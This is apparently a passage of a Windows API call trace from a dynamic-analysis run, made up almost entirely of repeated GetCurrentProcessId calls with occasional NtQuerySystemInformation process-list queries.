GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.485] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.486] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0156.487] GetCurrentProcessId () returned 0x10c0 [0157.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d380) returned 0x0 [0157.007] GetCurrentProcessId () returned 0x10c0 [0157.007] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.008] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.009] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.010] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.011] GetCurrentProcessId () returned 0x10c0 [0157.012] GetCurrentProcessId () returned 0x10c0 [0157.012] GetCurrentProcessId () returned 0x10c0 [0157.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d380) returned 0x0 [0157.557] GetCurrentProcessId () returned 0x10c0 [0157.557] GetCurrentProcessId () returned 0x10c0 [0157.557] GetCurrentProcessId () returned 0x10c0 [0157.557] GetCurrentProcessId () returned 0x10c0 [0157.557] GetCurrentProcessId () returned 0x10c0 [0157.557] GetCurrentProcessId () returned 0x10c0 [0157.557] GetCurrentProcessId () returned 0x10c0 [0158.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d380) returned 0x0 [0158.095] GetCurrentProcessId () returned 0x10c0 [0158.095] GetCurrentProcessId () returned 0x10c0 [0158.095] GetCurrentProcessId () returned 0x10c0 [0158.095] GetCurrentProcessId () returned 0x10c0 [0158.095] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.096] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.097] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.098] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.099] GetCurrentProcessId () returned 0x10c0 [0158.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d4c0) returned 0x0 [0159.285] GetCurrentProcessId () returned 0x10c0 [0159.285] GetCurrentProcessId () returned 0x10c0 [0159.285] GetCurrentProcessId () returned 0x10c0 [0159.285] GetCurrentProcessId () returned 0x10c0 [0159.285] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.286] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.287] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.288] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.289] GetCurrentProcessId () returned 0x10c0 [0159.874] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d5b0) returned 0x0 [0160.564] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d510) returned 0x0 [0161.100] GetCurrentProcessId () returned 0x10c0 [0161.100] GetCurrentProcessId () returned 0x10c0 [0161.100] GetCurrentProcessId () returned 0x10c0 [0161.100] GetCurrentProcessId () returned 0x10c0 [0161.100] GetCurrentProcessId () returned 0x10c0 [0161.101] GetCurrentProcessId () returned 0x10c0 [0161.101] GetCurrentProcessId () returned 0x10c0 [0161.101] GetCurrentProcessId () returned 0x10c0 [0161.101] GetCurrentProcessId () returned 0x10c0 [0161.101] GetCurrentProcessId () returned 0x10c0 [0161.101] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.102] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.103] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.104] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.105] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.106] GetCurrentProcessId () returned 0x10c0 [0161.107] GetCurrentProcessId () returned 0x10c0 [0161.107] GetCurrentProcessId () returned 0x10c0 [0161.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d4c0) returned 0x0 [0161.694] GetCurrentProcessId () returned 0x10c0 [0161.694] GetCurrentProcessId () returned 0x10c0 [0161.694] GetCurrentProcessId () returned 0x10c0 [0161.694] GetCurrentProcessId () returned 0x10c0 [0161.694] GetCurrentProcessId () returned 0x10c0 [0161.695] GetCurrentProcessId () returned 0x10c0 [0161.695] GetCurrentProcessId () returned 0x10c0 [0161.695] GetCurrentProcessId () returned 0x10c0 [0161.695] GetCurrentProcessId () returned 0x10c0 [0161.695] GetCurrentProcessId () returned 0x10c0 [0161.695] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 